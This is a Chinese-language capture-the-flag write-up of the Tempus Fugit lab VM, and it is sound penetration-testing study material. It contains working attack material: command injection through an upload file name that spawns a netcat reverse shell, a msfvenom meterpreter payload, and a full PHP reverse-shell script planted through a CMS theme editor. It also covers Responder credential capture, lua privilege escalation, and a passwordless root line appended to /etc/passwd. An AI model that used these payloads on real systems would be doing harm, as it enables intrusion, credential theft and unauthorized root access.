靶机Tempus Fugit wirteup

0x00 namp扫描

看来只能通过web拿shell了

0x01 分析web

御剑扫描没有任何文件,只能手动检查一下了

看到upload知道大概率是个上传拿shell的套路,继续看

现在猜测还有个FTP的漏洞,但靶机并没有开放21端口,很神秘,去看看upload

一言不合先上马

上传之后的回显提示只能上传txt和rtf,很神秘。开始怀疑这网站拿什么语言写的

右键查看源代码

<form enctype="multipart/form-data" action="/uploadFile/" method="post">   <input type="file" name="myfile" />   <br/>   <input type="submit" value="upload"/></form>

突然想课程设计用django写的一个网站,看来很可能是个python站点,url连一个文件都没有,全是目录,看了一下正常的django上传文件的例子,八成确定这是个python站点

正常上传一个123.txt(内容是123456)文件,猜测一下django的上传函数有一个文件后缀检测,并且会把文件再读出来打印(或者直接把post的内容打印出来)

根据upload  script标题猜测应该是命令执行漏洞,在文件内容分写入shell命令和python命令,但返回的都是文件里的内容,也就是内容应该并没有执行

这时候开始怀疑作者到底想怎么搞,不能直接上传shell,还不能执行语句,难不成拿django的漏洞打一波?没办法只能去推特上找一下相关的内容,发现有个大佬说文件名的位置有命令执行漏洞

//创建一个txt文件 123.txt;ipconfig

扒一下源码

好吧,开来必须要绕过.这个符号,尝试用*代替后面的.py,但windows不能用*作为文件结尾,只能在burpsuit里修改了

成功拿到源码,ok,他说可以上了

0x02 准备拿shell

分析一下源码得知可以在文件名的位置执行sh命令,准备反弹Shell

​
import os
import urllib.request
from flask import Flask, flash, request, redirect, render_template
from ftplib import FTP
import subprocess

#...
#上传文件白名单
ALLOWED_EXTENSIONS = {
  'txt',
  'rtf'
}
app = Flask(__name__)
app.secret_key = "mofosecret"
app.config['MAX_CONTENT_LENGTH'] = 2 * 1024 * 1024

@app.route('/', defaults = {
  'path': ''
})
#看来400那么唠叨的问题找到了,万恶的fortune命令
@app.route('/<path:path>')
def catch_all(path):
    cmd = 'fortune -o'
    result = subprocess.check_output(cmd, shell = True)
    return "<h1>400 - Sorry. I didn't find what you where looking for.</h1> <h2>Maybe this will cheer you up:</h2><h3>" + result.decode("utf-8") + "</h3>"
#...

#检查文件后缀名,不难看出是截取以.分割后的字符串后三位是否在白名单中,那只要符合 xxx.txt/rtfxxx的规律就行了
def allowed_file(filename):
    check = filename.rsplit('.', 1)[1].lower()
    check = check[: 3] in ALLOWED_EXTENSIONS
    return check

@app.route('/upload', methods = ['POST'])
def upload_file():
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('No file part')
            return redirect(request.url)

    file = request.files['file']

    if file.filename == '':
        flash('No file selected for uploading')
        return redirect(request.url)

    if file.filename and allowed_file(file.filename):
        filename = file.filename
        file.save(os.path.join(UPLOAD_FOLDER, filename))
        cmd = "cat " + UPLOAD_FOLDER + "/" + filename
        result = subprocess.check_output(cmd, shell = True) //subprocess.check_output函数可以执行sh命令
        flash(result.decode("utf-8"))
        flash('File successfully uploaded')
        try:
            ftp = FTP('ftp.mofo.pwn') //拿域名做ftp服务器,很神秘
            ftp.login('someuser', 'b232a4da4c104798be4613ab76d26efda1a04606')
            with open(UPLOAD_FOLDER + "/" + filename, 'rb') as f:
                ftp.storlines('STOR %s' % filename, f)
                ftp.quit()
        except:
            flash("Cannot connect to FTP-server")
            return redirect('/upload')
    else :
        flash('Allowed file types are txt and rtf')
        return redirect(request.url)

if __name__ == "__main__":
    app.run()

​

反弹shell有很多种方法,bash,nc,python,但只有命令执行的就考虑nc了,这里借用推特大佬的一个骚操作,将ip转10进制再扔到nc里反弹shell

​
​
123.txt;nc 3232256129 1999 -e sh
//根据上面我们得出的结论,这个也行,但关键是十进制帅啊
123.txt;nc 192.168.80.129 1999 -e sh;123.txt

​

​

ok,用python美化一下

python -c "import pty; pty.spawn('/bin/bash')"

whoami查看竟然发现是root,什么嘛,这靶机不过如此,然后当我echo "kui::0:0:::/bin/bash" >> /etc/passd完登陆靶机时发现竟然登陆不上,这靶机难不成在登陆的shell做文章了?查看一下

在根目录下有个start.sh

​
#! /usr/bin/env sh
set -e

# If there's a prestart.sh script in the /app directory, run it before starting
PRE_START_PATH=/app/prestart.sh
echo "Checking for script in $PRE_START_PATH"
if [ -f $PRE_START_PATH ] ; then
    echo "Running script $PRE_START_PATH"
    . $PRE_START_PATH
else
    echo "There is no script $PRE_START_PATH"
fi

# Start Supervisor, with Nginx and uWSGI
exec /usr/bin/supervisord

​

可以大概分析出还有两个脚本控制登陆(因为/etc/profile并没有被做什么文章)

/usr/bin/supervisord

​
#!/usr/bin/python2
# EASY-INSTALL-ENTRY-SCRIPT: 'supervisor==3.3.3','console_scripts','supervisord'
__requires__ = 'supervisor==3.3.3'
import re
import sys
from pkg_resources import load_entry_point

if __name__ == '__main__':
    sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
    sys.exit(
        load_entry_point('supervisor==3.3.3', 'console_scripts', 'supervisord')()
    )

​

/app/prestart.sh


#! /usr/bin/env sh

echo "Running inside /app/prestart.sh, you could add migrations to this file, e.g.:"

echo "
#! /usr/bin/env bash

# Let the DB start
sleep 10;
# Run migrations
alembic upgrade head
"

并没有看到靶机登陆界面花里胡哨的Tempus Fugit,ifconfig看一下网络

跟VM分配的192.168.80.121不一样,这时候突然意识到这搞不好是个内网啊

直到后面我发现了这个,早知如此先看root再看home了

0x03 内网渗透

想起来django那个没用的ftp服务器,尝试ping一下

这就是内网啊,猛男落泪呀。

根据源码中的账号密码访问试试,这里不知道为什么ncftp无法链接但换成lftp就可以

lftp ftp://someuser@ftp.mofo.pwn

查看一下敏感文件:

Admin-password for our new CMS

hardEnough4u

这时候我是彻底怂了,newcms不就是还有个网站要打,端口转发第一个想到拿msf整一个,但后面发现还有直接拿ip route命令转发路由进内网的

0x04  新的cms

从这开始就只能开始求助国外大佬的writeup了

要查找内网存活的ip和端口当然首选nmap,python来一个。等会名挖掘直接上dig

cat /etc/issue查一下操作系统,发现系统用的是Alpine Linux 3.7,安装直接运行命令就完事了

apk add nmap

nmap,再启动

发现一个dns服务器,ftp服务器,还有一个172.19.0.1,估计这个就是我们要找的cms

看一下dns

cat /etc/resolv.conf

准备枚举一下域名,安装dig

apk add bind-toolsdig axfr @172.19.0.100 mofo.pwn

ping一下,172.19.0.1,再加上是前面唯一一个80端口开放的独苗,估计这个就是我们要找的cms了

这里也可以参考大佬的方法,直接拿nmap扫一波

nmap -sT -sV -A -O -p- ourcms.mofo.pwn

准备端口转发

方法一 毕竟都是在vm上,做个路由转发就能访问了

kali本机来一个路由转发

//192.168.80.129是kali的ipip route add 172.19.0.0/24 via 192.168.80.129

修改kali的host文件

访问ourcms.mofo.pwn:8080,总算到达下一个cms了

方法二 使用msf的端口转发功能

【Note:直接路由转发会出现访问后台巨卡无比的现象】

先生成一个payload

​
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.129 LPORT=8080 -f elf -o shell2.elf

​

复制payload到kali的nginx目录(默认是在/var/www/html下),在172.19.0.10受害机上wget下来,记得给权限,然后./shell2.elf跑起来

打开msfconsole

msf的端口转发

portfwd add -l 777 -r 172.19.0.1 -p 8080

修改host文件

ok,现在访问ourcms.mofo.pwn:777

用msf要接后面的步骤把8080端口换成777就行

解释一下为什么必须要域名,以前做过一道ctf题,要访问百度的一个子域名才能返回flag,但百度根本没有这个子域名。最后发现要修改本地host自己做DNS解析才行,原理其实就是中间件的代理规则,像这台172.19.0.1的apache配置规则是访问ourcms.mofo.pwn:8080才能返回cms对应的网页,我们只做了端口转发,代理规则会认为我们要访问的是172.10.0.1:8080,那肯定拿不到cms,所以要在kali本地的host改一下

后台渗透(用的路由转发的步骤)

想都不想直接/admin 找后台

[这个地方可以也可以通过nmap先扫出来8080的目录文件]

拿出前面ftp服务器珍藏许久的账号密码

Admin-password for our new CMS

hardEnough4u

猜测账号是Admin,其实不用猜也知道是这个,进入后台


//发现theme-edit.php可以修改首页php文件,丢个反弹shell的脚本在文件后面
<?php 

error_reporting (E_ALL);
ignore_user_abort(true);
ini_set('max_execution_time',0);
$os = substr(PHP_OS,0,3);
$ipaddr=$_GET['ip'];
$port=$_GET['port'];
$descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));
$cwd = getcwd();
$msg = php_uname()."\n------------Code by Spider-------------\n";
if($os == 'WIN') {
    $env = array('path' => 'c:\\windows\\system32');
} else {
    $env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
}


if(function_exists('fsockopen')) {
    $sock = fsockopen($ipaddr,$port);
	if(!$sock){	echo "error";}
    fwrite($sock,$msg);
    while ($cmd = fread($sock,1024)) {
        if (substr($cmd,0,3) == 'cd ') {
            $cwd = trim(substr($cmd,3,-1));
            chdir($cwd);
            $cwd = getcwd();
        }
        if (trim(strtolower($cmd)) == 'exit') {
            break;
        } else {
            $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
            if (is_resource($process)) {
                fwrite($pipes[0],$cmd);
                fclose($pipes[0]);
                $msg = stream_get_contents($pipes[1]);
                fwrite($sock,$msg);
                fclose($pipes[1]);
                $msg = stream_get_contents($pipes[2]);
                fwrite($sock,$msg);
                fclose($pipes[2]);
                proc_close($process);
            }
        }
    }
    fclose($sock);
} else {
    $sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
    socket_connect($sock,$ipaddr,$port);
    socket_write($sock,$msg);
    fwrite($sock,$msg);
    while ($cmd = socket_read($sock,1024)) {
        if (substr($cmd,0,3) == 'cd ') {
            $cwd = trim(substr($cmd,3,-1));
            chdir($cwd);
            $cwd = getcwd();
        }
        if (trim(strtolower($cmd)) == 'exit') {
            break;
        } else {
            $process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
            if (is_resource($process)) {
                fwrite($pipes[0],$cmd);
                fclose($pipes[0]);
                $msg = stream_get_contents($pipes[1]);
                socket_write($sock,$msg,strlen($msg));
                fclose($pipes[1]);
                $msg = stream_get_contents($pipes[2]);
                socket_write($sock,$msg,strlen($msg));
                fclose($pipes[2]);
                proc_close($process);
            }
        }
    }
    socket_close($sock);
}
?>

访问ourcms.mofo.pwn:8080触发脚本,ok,反弹成功

后面的就全部靠推特大佬们的writeup了,对于萌新真的难度系数有点搞了

根据提示要从邮箱里寻找线索,

ls -al /var/mail

权限不够无法查看,gg

根据作者的提示要使用Responder【https://github.com/SpiderLabs/Responder】获取信息,ok

这个是Responsder的详细中文介绍

https://www.secpulse.com/archives/65503.html

攻击需要稍微等一会

./Responder.py -I eth0 -wrf

获得账号和密码

Username : murielle

Password : monkeys

[Note:账号是会变的,请尽快拿去用,不然就只能等下一个账号。不得不说写靶机的人才是真的大佬]

ssh连接,成功

查看一下home目录,emm,感觉很user.txt很可以,打开看一下

一串md5,虽然不知道是什么,但先去刚才的mail里看看有什么好东西

yooooo,shandee:9k4lw0r82hs0,似乎是得了的东西,看一下passwd,1010,感觉权限还是不行啊

ssh登陆一下

sudo -l跑一下看看有没有漏洞,没的话就需要其他方式提权了

作者没为难菜鸡啊,看来凭借lua提权就完事了

lua -e 'os.execute("/bin/sh")'

感谢这位大佬整理的shell,巨全

https://gtfobins.github.io/gtfobins/lua/#shell

0x05 提权(并不)

echo "kui::0:0:::/bin/bash" >>/etc/passwd

完事

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值